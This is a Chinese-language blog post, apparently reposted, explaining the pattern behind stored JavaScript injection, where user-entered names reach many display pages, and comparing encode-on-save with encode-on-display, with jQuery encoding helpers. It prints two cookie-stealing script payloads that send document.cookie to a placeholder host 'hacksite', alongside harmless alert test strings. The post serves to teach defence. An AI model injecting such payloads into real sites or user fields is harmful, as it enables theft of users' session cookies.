JavaScript注入漏洞的原理及防范


初次接觸:

  初次接觸JavaScript注入漏洞后,如果不對這種漏洞的作用機理仔細分析並提取出其發生的某種模式,你就不能做到快速的發現項目中可能存在的所有注入風險並在代碼中防范。

發生模式:

JavaScript注入漏洞能發生作用主要依賴兩個關鍵的動作,一個是用戶要能從界面中注入JavaScript到系統的內存或者后台存儲系統中;二是系統中存在一些UI會展示用戶注入的數據。

比如注入漏洞最常見的就是發生在各種類型的名字中,比如系統中的人名等等,因為名字往往會在各種系統上顯示,如果在某個用戶輸入名字的時候注入了腳本,那么受其影響的各個系統都有發生注入漏洞的風險。

曾經在幫別的項目做Bug Bash時,我給系統中的一個名字中注入了JavaScript腳本,結果導致使用這個名字的8個子系統、站點、app出現問題。

解決方案:

防范注入漏洞主要有兩個思路:一個是在用戶輸入數據后Encode內容后再保存到持久存儲,另一個是在展示用戶輸入數據的地方Encode從持久存儲中取到的數據。

方法一的優點是一般存儲用戶輸入數據的代碼少而固定但展示輸入數據的UI界面可能有很多而且還會有變化的可能,因此比較好防范;但缺點是存儲在持久存儲中的數據是Encode后的。

方法二的優點是存儲在持久存儲中的數據原始內容;但缺點是需要在多處UI界面中寫代碼防范,而且還得確保在增加新的UI時不忘防范。比如現在Web app比較流行,公司決定開發,那么在開發的過程必須要做好防范,否則可能別的地方都防范好了,但新系統中卻沒有做好防范,漏洞最后還是發生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用於攻擊時注入內容:

  jQuery場景:

  <script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

  原生JS場景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

測試漏洞時注入內容:

<script>alert(0)</script>

<script>debugger</script> --輔助開發人員快速定位出錯的JavaScript代碼(打開調試器的情況下)。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM